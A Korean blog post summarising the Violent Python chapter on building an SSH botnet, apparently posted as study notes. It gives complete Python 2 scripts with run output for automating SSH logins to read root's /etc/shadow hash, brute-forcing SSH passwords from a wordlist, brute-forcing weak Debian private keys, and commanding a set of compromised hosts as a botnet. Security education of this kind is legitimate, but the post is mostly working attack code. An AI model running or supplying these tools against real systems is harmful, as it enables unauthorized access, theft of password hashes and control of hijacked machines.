해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기

 

Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.

VIOLENT_PYTHON_S
[구매하기]

해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다

2.3 파이썬으로 SSH 봇넷 구축하기
– 최근에는 공개키 암호화와 RSH 를 함께 사용하는 시큐어쉘(SSH) 프로토콜로 대체

2.3.1 Pexpect로 SSH 연결하기
– ssh는 사용자가 직접 입력하는 부분 존재(id, pw)
– 자동화를 위해 Pexpect 모듈 사용(결과값을 바탕으로 응답하기 기능)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect

PROMPT = ['# ', '>>> ', '> ','\$ ']

def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before

def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])

    if ret == 0:
        print '[-] Error Connecting'
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,  '[P|p]assword:'])
        if ret == 0:
            print '[-] Error Connecting'
            return

    child.sendline(password)
    child.expect(PROMPT)
    return child

def main():
    host = 'localhost'
    user = 'root'
    password = '*****'

    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')

if __name__ == '__main__':
    main()

실행결과 :

# python sshCmd.py 
cat /etc/shadow | grep root
root:$6$rnI.plh.$eScWBPApCMHM..........n9zpvmlkrzX/:15882:0:99999:7:::

2.3.2 Pxssh로 SSH 패스워드 공격하기
– Pxssh는 Pexpect 라이브러리에 있는 ssh 특화 스크립트 (login(), logout(), prompt() 등의 메소드 제공)
– 아이폰의 디폴트 패스워드? (alpine), ssh가 탈옥한 아이폰을 공격하여 ssh 서버를 활성화

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pxssh
import optparse
import time
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)

Found = False
Fails = 0

def connect(host, user, password, release):
    global Found
    global Fails

    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] Password Found: ' + password
	Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
	    Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
	elif 'synchronize with original prompt' in str(e):
	    time.sleep(1)
	    connect(host, user, password, False)

    finally:
	if release: connection_lock.release()

def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'
                              )
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user

    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)

    fn = open(passwdFile, 'r')
    for line in fn.readlines():

	if Found:
	    print "[*] Exiting: Password Found"
	    exit(0)
        if Fails > 5:
	    print "[!] Exiting: Too Many Socket Timeouts"
	    exit(0)

	connection_lock.acquire()
        password = line.strip('\r').strip('\n')
	print "[-] Testing: "+str(password)
        t = Thread(target=connect, args=(host, user, password, True))
        child = t.start()

if __name__ == '__main__':
    main()

실행결과 :

# python sshBrute.py -H 127.0.0.1 -u apollo89 -F best_passwords.txt 
...
[-] Testing: 12345678
[-] Testing: 123456789
[-] Testing: 123456a
[-] Testing: 123456qwerty
[-] Testing: 123abc
[-] Testing: 123qaz
[-] Testing: 123qwe
[-] Testing: 1q2w3e
[+] Password Found: 123456a
[-] Testing: 1q2w3e4r
[*] Exiting: Password Found

2.3.3 취약한 개인 키를 통한 SSH 공격하기
– ssh 는 공개키 암호로 인증할수 있는 기능도 제공
– 취약한 키를 테스트 하는 스크립트는 패스워드를 무차별 대입하는 공격과 유사
– https://github.com/ChFernandez/PenTools -> debian_ssh_dsa_1024_x86/ debian_ssh_rsa_1024_x86 다운안됨..ㅠ

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
import optparse
import os
from threading import *

maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0

def connect(user,host,keyfile,release):
    global Stop
    global Fails
    try:
        perm_denied = 'Permission denied'
        ssh_newkey = 'Are you sure you want to continue'
        conn_closed = 'Connection closed by remote host'
        opt = ' -o PasswordAuthentication=no'
        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt
        child = pexpect.spawn(connStr)
        ret = child.expect([pexpect.TIMEOUT,perm_denied, ssh_newkey,conn_closed,'$','#',])
        if ret == 2:
            print '[-] Adding Host to ~/.ssh/known_hosts'
            child.sendline('yes')
            connect(user, host, keyfile, False)
        elif ret == 3:
            print '[-] Connection Closed By Remote Host'
            Fails += 1
        elif ret > 3:
            print '[+] Success. ' + str(keyfile)
            Stop = True
    finally:
        if release:
            connection_lock.release()

def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -d <directory>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')
    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()
    host = options.tgtHost
    passDir = options.passDir
    user = options.user

    if host == None or passDir == None or user == None:
        print parser.usage
        exit(0)

    for filename in os.listdir(passDir):
        if Stop:
            print '[*] Exiting: Key Found.'
            exit(0)
        if Fails > 5:
            print '[!] Exiting: '+\
              'Too Many Connections Closed By Remote Host.'
            print '[!] Adjust number of simultaneous threads.'
            exit(0)
        connection_lock.acquire()
        fullpath = os.path.join(passDir, filename)
        print '[-] Testing keyfile ' + str(fullpath)
        t = Thread(target=connect, args=(user, host, fullpath, True))
        child = t.start()

if __name__ == '__main__':
    main()

2.3.4 SSH 봇넷 구축하기
– 여러 호스트를 동시에 제어
– 자발적인 봇넷 : 어나니머스에서 자발적 봇넷을 이용해서 공격
– 클래스 객체를 생성해 사용

#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
import pxssh

class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output 

def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)

botNet = []
addClient('127.0.0.1', 'root', '*****')
addClient('127.0.0.1', 'root', '*****')
addClient('127.0.0.1', 'root', '*****')

botnetCommand('uname -v')
botnetCommand('cat /etc/issue')

실행결과 :

# python botNet.py 
[*] Output from 127.0.0.1
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012

[*] Output from 127.0.0.1
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012

[*] Output from 127.0.0.1
[+] uname -v
#1 SMP Fri Feb 17 10:34:20 EST 2012

[*] Output from 127.0.0.1
[+] cat /etc/issue
BackTrack 5 R3 - 64 Bit \n \l

[*] Output from 127.0.0.1
[+] cat /etc/issue
BackTrack 5 R3 - 64 Bit \n \l

[*] Output from 127.0.0.1
[+] cat /etc/issue
BackTrack 5 R3 - 64 Bit \n \l

 

This entry was posted in Python/Ruby/Perl, Reading and tagged , . Bookmark the permalink.

2 Responses to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기

댓글 남기기